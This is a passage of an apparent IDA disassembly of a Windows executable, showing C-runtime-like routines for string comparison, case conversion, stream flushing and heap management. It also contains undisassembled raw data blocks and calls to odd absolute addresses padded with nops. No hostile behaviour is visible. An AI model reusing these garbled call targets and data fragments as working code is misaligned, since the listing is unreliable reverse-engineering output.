[esp+4+arg_0] call sub_41F44A pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DDFF: ; CODE XREF: sub_41DDE8+7j mov eax, [esp+arg_0] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 4 retn sub_41DDE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DE10 proc near ; CODE XREF: sub_420445+76p ; sub_420445+88p ... arg_0 = dword ptr 4 cmp dword_43A88C, 1 jle short loc_41DE27 push 8 push [esp+4+arg_0] call sub_41F44A pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DE27: ; CODE XREF: sub_41DE10+7j mov eax, [esp+arg_0] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 8 retn sub_41DE10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DE40 proc near ; CODE XREF: sub_418246+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DE8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DE8D test eax, 1 jz short loc_41DE6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DEBA inc esi inc edi dec eax jz short loc_41DE8A loc_41DE6D: ; CODE XREF: sub_41DE40+20j ; sub_41DE40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DEBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DEBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DE6D loc_41DE8A: ; CODE XREF: sub_41DE40+2Bj ; sub_41DE40+84j pop edi pop esi locret_41DE8C: ; CODE XREF: sub_41DE40+6j retn ; --------------------------------------------------------------------------- loc_41DE8D: ; CODE XREF: sub_41DE40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DEC2 repe cmpsd jz short loc_41DEC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DEB5 cmp ch, dh jnz short loc_41DEB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DEB5 cmp ch, dh loc_41DEB5: ; CODE XREF: sub_41DE40+63j ; sub_41DE40+67j ... mov eax, 0 loc_41DEBA: ; CODE XREF: sub_41DE40+26j ; sub_41DE40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DEC2: ; CODE XREF: sub_41DE40+55j ; sub_41DE40+59j test eax, eax jz short loc_41DE8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DEB5 dec eax jz short loc_41DEE9 cmp dh, ch jnz short loc_41DEB5 dec eax jz short loc_41DEE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DEB5 dec eax loc_41DEE9: ; CODE XREF: sub_41DE40+8Fj ; sub_41DE40+96j pop edi pop esi retn sub_41DE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEEC proc near ; CODE XREF: sub_418566+6p ; sub_418584+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4D97D0, 0 push ebx push esi push edi jnz short loc_41DF19 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41DFB2 cmp eax, 5Ah jg loc_41DFB2 add eax, 20h jmp loc_41DFB2 ; --------------------------------------------------------------------------- loc_41DF19: ; CODE XREF: sub_41DEEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41DF4D cmp dword_43A88C, esi jle short loc_41DF3B push esi push ebx call sub_41F44A pop ecx pop ecx jmp short loc_41DF45 ; --------------------------------------------------------------------------- loc_41DF3B: ; CODE XREF: sub_41DEEC+42j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, esi loc_41DF45: ; CODE XREF: sub_41DEEC+4Dj test eax, eax jnz short loc_41DF4D loc_41DF49: ; CODE XREF: sub_41DEEC+ADj mov eax, ebx jmp short loc_41DFB2 ; --------------------------------------------------------------------------- loc_41DF4D: ; CODE XREF: sub_41DEEC+3Aj ; sub_41DEEC+5Bj mov edx, off_43A680 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41DF71 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41DF7A ; --------------------------------------------------------------------------- loc_41DF71: ; CODE XREF: sub_41DEEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41DF7A: ; CODE XREF: sub_41DEEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4D97D0 call sub_4229D2 add esp, 20h test eax, eax jz short loc_41DF49 cmp eax, esi jnz short loc_41DFA5 movzx eax, [ebp+var_4] jmp short loc_41DFB2 ; --------------------------------------------------------------------------- loc_41DFA5: ; CODE XREF: sub_41DEEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41DFB2: ; CODE XREF: sub_41DEEC+16j ; sub_41DEEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DEEC endp ; =============== S U B R O U T I N E ======================================= sub_41DFB7 proc near ; CODE XREF: sub_418AA2+ADp ; sub_419A81+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41DFCE loc_41DFC4: ; CODE XREF: sub_41DFB7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41DFC4 loc_41DFCE: ; CODE XREF: sub_41DFB7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41DFB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFD4 proc near ; CODE XREF: sub_418AA2+7Fp ; sub_418AA2+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E0A1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E0CE cmp dword_4D97D0, esi jnz short loc_41E025 cmp edi, esi jbe loc_41E0CE loc_41E004: ; CODE XREF: sub_41DFD4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E0CE inc eax inc edx inc edx cmp eax, edi jb short loc_41E004 jmp loc_41E0CE ; --------------------------------------------------------------------------- loc_41E025: ; CODE XREF: sub_41DFD4+26j mov ebx, [ebp+arg_4] mov esi, dword_4270F0 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4D97E0 call esi test eax, eax jnz loc_41E0CD nop call near ptr 26A0EA9h cmp eax, 7Ah jz short loc_41E05F loc_41E050: ; CODE XREF: sub_41DFD4+CBj ; sub_41DFD4+F7j mov dword_4D9714, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E0CE ; --------------------------------------------------------------------------- loc_41E05F: ; CODE XREF: sub_41DFD4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E067: ; CODE XREF: sub_41DFD4+B3j mov cl, [eax] test cl, cl jz short loc_41E089 mov edx, off_43A680 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E07E inc eax loc_41E07E: ; CODE XREF: sub_41DFD4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E067 loc_41E089: ; CODE XREF: sub_41DFD4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4D97E0 call esi test eax, eax jnz short loc_41E0CE jmp short loc_41E050 ; --------------------------------------------------------------------------- loc_41E0A1: ; CODE XREF: sub_41DFD4+Fj cmp dword_4D97D0, esi jnz short loc_41E0B4 push [ebp+arg_4] call sub_41B960 pop ecx jmp short loc_41E0CE ; --------------------------------------------------------------------------- loc_41E0B4: ; CODE XREF: sub_41DFD4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4D97E0 nop call near ptr 2710000h cmp eax, esi jz short loc_41E050 loc_41E0CD: ; CODE XREF: sub_41DFD4+6Bj dec eax loc_41E0CE: ; CODE XREF: sub_41DFD4+1Aj ; sub_41DFD4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41DFD4 endp ; --------------------------------------------------------------------------- db 0BAh dd 0FDB7A77Bh, 0BEBEC7C1h, 4D77EFD7h, 0A164A43Dh, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 0CEE890E8h, 33024A39h, 89D48AD2h dd 4D972C15h, 81C88B00h, 0FFE1h, 280D8900h, 0C1004D97h dd 0CA0308E1h, 97240D89h, 0E8C1004Dh, 9720A310h, 0F633004Dh dd 2CBE856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 0C3E8FC75h, 0E8000050h, 24A394Eh, 0ADA4A390h, 81E8004Dh dd 0A300004Fh, 4D9788h, 4D2AE8h, 4C6CE800h, 99E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 24A1E88h, 4BFDE8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 5EE89056h, 50022923h, 0FE3080E8h, 0A04589FFh dd 0DD87E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3BE85150h dd 5900004Ah, 658BC359h, 9875FFE8h, 0FFDD79E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41E1C9 proc near ; CODE XREF: ___:0041D7D8p ; ___:00422E20p ... arg_0 = dword ptr 4 cmp dword_4D9790, 1 jnz short loc_41E1D7 call sub_423498 loc_41E1D7: ; CODE XREF: sub_41E1C9+7j push [esp+arg_0] call sub_4234D1 push 0FFh call off_43A670 pop ecx pop ecx retn sub_41E1C9 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4D9790 dd 0E8057501h, 529Ch, 42474FFh, 52CCE8h, 0FF685900h, 90000000h dd 0A57AA4E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E212 proc near ; CODE XREF: sub_41B9DB+2Ap ; sub_42393B+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DAB60 jnb loc_41E2AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E2AC push edi call sub_4237AA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E28B cmp edi, 1 jz short loc_41E259 cmp edi, 2 jnz short loc_41E26F loc_41E259: ; CODE XREF: sub_41E212+40j push 2 call sub_4237AA push 1 mov ebp, eax call sub_4237AA pop ecx cmp eax, ebp pop ecx jz short loc_41E28B loc_41E26F: ; CODE XREF: sub_41E212+45j push edi call sub_4237AA pop ecx push eax call near ptr 2680000h nop test eax, eax jnz short loc_41E28B call near ptr 26A0EA9h nop mov ebp, eax jmp short loc_41E28D ; --------------------------------------------------------------------------- loc_41E28B: ; CODE XREF: sub_41E212+3Bj ; sub_41E212+5Bj ... xor ebp, ebp loc_41E28D: ; CODE XREF: sub_41E212+77j push edi call sub_423730 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E2A8 push ebp call sub_420314 pop ecx jmp short loc_41E2BD ; --------------------------------------------------------------------------- loc_41E2A8: ; CODE XREF: sub_41E212+8Bj xor eax, eax jmp short loc_41E2C0 ; --------------------------------------------------------------------------- loc_41E2AC: ; CODE XREF: sub_41E212+Ej ; sub_41E212+2Fj and dword_4D9718, 0 mov dword_4D9714, 9 loc_41E2BD: ; CODE XREF: sub_41E212+94j or eax, 0FFFFFFFFh loc_41E2C0: ; CODE XREF: sub_41E212+98j pop edi pop esi pop ebp pop ebx retn sub_41E212 endp ; =============== S U B R O U T I N E ======================================= sub_41E2C5 proc near ; CODE XREF: sub_41B9DB+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E2EE test al, 8 jz short loc_41E2EE push dword ptr [esi+8] call sub_41BA31 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E2EE: ; CODE XREF: sub_41E2C5+Aj ; sub_41E2C5+Ej pop esi retn sub_41E2C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E2F0 proc near ; CODE XREF: sub_41E390+2Dp ; sub_41E390+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E302 push esi call sub_41E390 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E302: ; CODE XREF: sub_41E2F0+7j push esi call sub_41E32B test eax, eax pop ecx jz short loc_41E312 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E312: ; CODE XREF: sub_41E2F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E327 push dword ptr [esi+10h] call sub_4237E7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E327: ; CODE XREF: sub_41E2F0+26j xor eax, eax pop esi retn sub_41E2F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E32B proc near ; CODE XREF: sub_41B9DB+1Ap ; ___:0041D9C3p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E378 test ax, 108h jz short loc_41E378 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E378 push edi push eax push dword ptr [esi+10h] call sub_422825 add esp, 0Ch cmp eax, edi jnz short loc_41E371 mov eax, [esi+0Ch] test al, 80h jz short loc_41E378 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E378 ; --------------------------------------------------------------------------- loc_41E371: ; CODE XREF: sub_41E32B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E378: ; CODE XREF: sub_41E32B+14j ; sub_41E32B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E32B endp ; =============== S U B R O U T I N E ======================================= sub_41E387 proc near ; CODE XREF: sub_4238E3p push 1 call sub_41E390 pop ecx retn sub_41E387 endp ; =============== S U B R O U T I N E ======================================= sub_41E390 proc near ; CODE XREF: sub_41E2F0+Ap ; sub_41E387+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DAA40, esi jle short loc_41E3EE loc_41E3A1: ; CODE XREF: sub_41E390+5Cj mov eax, dword_4D9A30 mov eax, [eax+esi*4] test eax, eax jz short loc_41E3E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E3E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E3CB push eax call sub_41E2F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E3E5 inc ebx jmp short loc_41E3E5 ; --------------------------------------------------------------------------- loc_41E3CB: ; CODE XREF: sub_41E390+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E3E5 test cl, 2 jz short loc_41E3E5 push eax call sub_41E2F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E3E5 or edi, eax loc_41E3E5: ; CODE XREF: sub_41E390+1Bj ; sub_41E390+23j ... inc esi cmp esi, dword_4DAA40 jl short loc_41E3A1 loc_41E3EE: ; CODE XREF: sub_41E390+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E3F9 mov eax, edi loc_41E3F9: ; CODE XREF: sub_41E390+65j pop edi pop esi pop ebx retn sub_41E390 endp ; --------------------------------------------------------------------------- db 33h, 0C0h, 6Ah dd 24443900h, 10006808h, 940F0000h, 0E89050C0h, 24B1BECh dd 0A0A3C085h, 74004DADh, 17E815h, 0C0850000h, 35FF0F75h dd 4DADA0h, 383DE890h, 0C033024Ah, 58016AC3h, 14068C3h dd 6A0000h, 0ADA035FFh, 0B5E8004Dh, 90023C1Bh, 9CA3C085h dd 75004DADh, 2583C301h, 4DAD94h, 98258300h, 4DADh, 90A3016Ah dd 0C7004DADh, 4DAD8805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E477 proc near ; CODE XREF: sub_41BA31+Ap ; sub_41BB48+3Dp ... arg_0 = dword ptr 4 mov eax, dword_4DAD98 lea ecx, [eax+eax*4] mov eax, dword_4DAD9C lea ecx, [eax+ecx*4] loc_41E487: ; CODE XREF: sub_41E477+26j cmp eax, ecx jnb short loc_41E49F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E4A1 add eax, 14h jmp short loc_41E487 ; --------------------------------------------------------------------------- loc_41E49F: ; CODE XREF: sub_41E477+12j xor eax, eax locret_41E4A1: ; CODE XREF: sub_41E477+21j retn sub_41E477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E4A2 proc near ; CODE XREF: sub_41BA31+16p ; sub_41BB48+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_41E568 sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_41E4FA mov [ebp+arg_4], edi loc_41E4FA: ; CODE XREF: sub_41E4A2+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_41E54C mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_41E528 mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_41E54C mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_41E54C ; --------------------------------------------------------------------------- loc_41E528: ; CODE XREF: sub_41E4A2+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_41E54C mov ecx, [ebp+arg_0] and [ecx+4], edi loc_41E54C: ; CODE XREF: sub_41E4A2+60j ; sub_41E4A2+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_41E568: ; CODE XREF: sub_41E4A2+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_41E576 push 3Fh pop edi loc_41E576: ; CODE XREF: sub_41E4A2+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_41E625 sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_41E5A1 mov [ebp+arg_4], edx mov ecx, edx loc_41E5A1: ; CODE XREF: sub_41E4A2+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_41E5B3 mov edi, edx loc_41E5B3: ; CODE XREF: sub_41E4A2+10Dj cmp ecx, edi jz short loc_41E622 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_41E60A mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_41E5E6 mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_41E60A mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_41E60A ; --------------------------------------------------------------------------- loc_41E5E6: ; CODE XREF: sub_41E4A2+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_41E60A mov ecx, [ebp+arg_0] and [ecx+4], edx loc_41E60A: ; CODE XREF: sub_41E4A2+11Ej ; sub_41E4A2+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_41E622: ; CODE XREF: sub_41E4A2+113j mov edx, [ebp+var_8] loc_41E625: ; CODE XREF: sub_41E4A2+DDj cmp [ebp+var_14], 0 jnz short loc_41E634 cmp [ebp+arg_4], edi jz loc_41E6BD loc_41E634: ; CODE XREF: sub_41E4A2+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E6BD mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E691 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E680 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E680: ; CODE XREF: sub_41E4A2+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_41E6BA ; --------------------------------------------------------------------------- loc_41E691: ; CODE XREF: sub_41E4A2+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E6A7 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E6A7: ; CODE XREF: sub_41E4A2+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_41E6BA: ; CODE XREF: sub_41E4A2+1EDj mov ebx, [ebp+var_C] loc_41E6BD: ; CODE XREF: sub_41E4A2+18Cj ; sub_41E4A2+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_41E7C8 mov eax, dword_4DAD94 test eax, eax jz loc_41E7BA mov ecx, dword_4DAD8C mov edi, dword_4271D0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi mov ecx, dword_4DAD8C mov eax, dword_4DAD94 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DAD94 mov ecx, dword_4DAD8C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DAD94 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DAD94 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E748 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DAD94 loc_41E748: ; CODE XREF: sub_41E4A2+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E7BA push ebx push 0 push dword ptr [eax+0Ch] call edi mov eax, dword_4DAD94 push dword ptr [eax+10h] push 0 push dword_4DADA0 call near ptr 27D0000h nop mov eax, dword_4DAD98 mov edx, dword_4DAD9C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DAD94 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D400 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DAD98 cmp eax, dword_4DAD94 jbe short loc_41E7AC sub eax, 14h loc_41E7AC: ; CODE XREF: sub_41E4A2+305j mov ecx, dword_4DAD9C mov dword_4DAD90, ecx jmp short loc_41E7BD ; --------------------------------------------------------------------------- loc_41E7BA: ; CODE XREF: sub_41E4A2+233j ; sub_41E4A2+2AAj mov eax, [ebp+arg_0] loc_41E7BD: ; CODE XREF: sub_41E4A2+316j mov dword_4DAD94, eax mov dword_4DAD8C, esi loc_41E7C8: ; CODE XREF: sub_41E4A2+226j pop edi pop esi pop ebx leave retn sub_41E4A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7CD proc near ; CODE XREF: sub_41BB48+69p ; sub_41BCD9+Ep ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DAD98 mov edx, dword_4DAD9C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E80D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E81D ; --------------------------------------------------------------------------- loc_41E80D: ; CODE XREF: sub_41E7CD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E81D: ; CODE XREF: sub_41E7CD+3Ej mov eax, dword_4DAD90 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E844 loc_41E82B: ; CODE XREF: sub_41E7CD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E844 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E82B loc_41E844: ; CODE XREF: sub_41E7CD+5Cj ; sub_41E7CD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E8C2 mov ebx, edx loc_41E84B: ; CODE XREF: sub_41E7CD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E867 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E865 add ebx, 14h jmp short loc_41E84B ; --------------------------------------------------------------------------- loc_41E865: ; CODE XREF: sub_41E7CD+91j cmp ebx, eax loc_41E867: ; CODE XREF: sub_41E7CD+83j jnz short loc_41E8C2 loc_41E869: ; CODE XREF: sub_41E7CD+ADj cmp ebx, [ebp+var_4] jnb short loc_41E87F cmp dword ptr [ebx+8], 0 jnz short loc_41E87C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E869 ; --------------------------------------------------------------------------- loc_41E87C: ; CODE XREF: sub_41E7CD+A5j cmp ebx, [ebp+var_4] loc_41E87F: ; CODE XREF: sub_41E7CD+9Fj jnz short loc_41E8A7 mov ebx, edx loc_41E883: ; CODE XREF: sub_41E7CD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E897 cmp dword ptr [ebx+8], 0 jnz short loc_41E895 add ebx, 14h jmp short loc_41E883 ; --------------------------------------------------------------------------- loc_41E895: ; CODE XREF: sub_41E7CD+C1j cmp ebx, eax loc_41E897: ; CODE XREF: sub_41E7CD+BBj jnz short loc_41E8A7 call sub_41EAD6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E8BB loc_41E8A7: ; CODE XREF: sub_41E7CD:loc_41E87Fj ; sub_41E7CD:loc_41E897j push ebx call sub_41EB87 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E8C2 loc_41E8BB: ; CODE XREF: sub_41E7CD+D8j xor eax, eax jmp loc_41EAD1 ; --------------------------------------------------------------------------- loc_41E8C2: ; CODE XREF: sub_41E7CD+7Aj ; sub_41E7CD:loc_41E867j ... mov dword_4DAD90, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E8E9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E920 loc_41E8E9: ; CODE XREF: sub_41E7CD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E91D loc_41E906: ; CODE XREF: sub_41E7CD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E906 loc_41E91D: ; CODE XREF: sub_41E7CD+137j mov edx, [ebp+var_4] loc_41E920: ; CODE XREF: sub_41E7CD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea 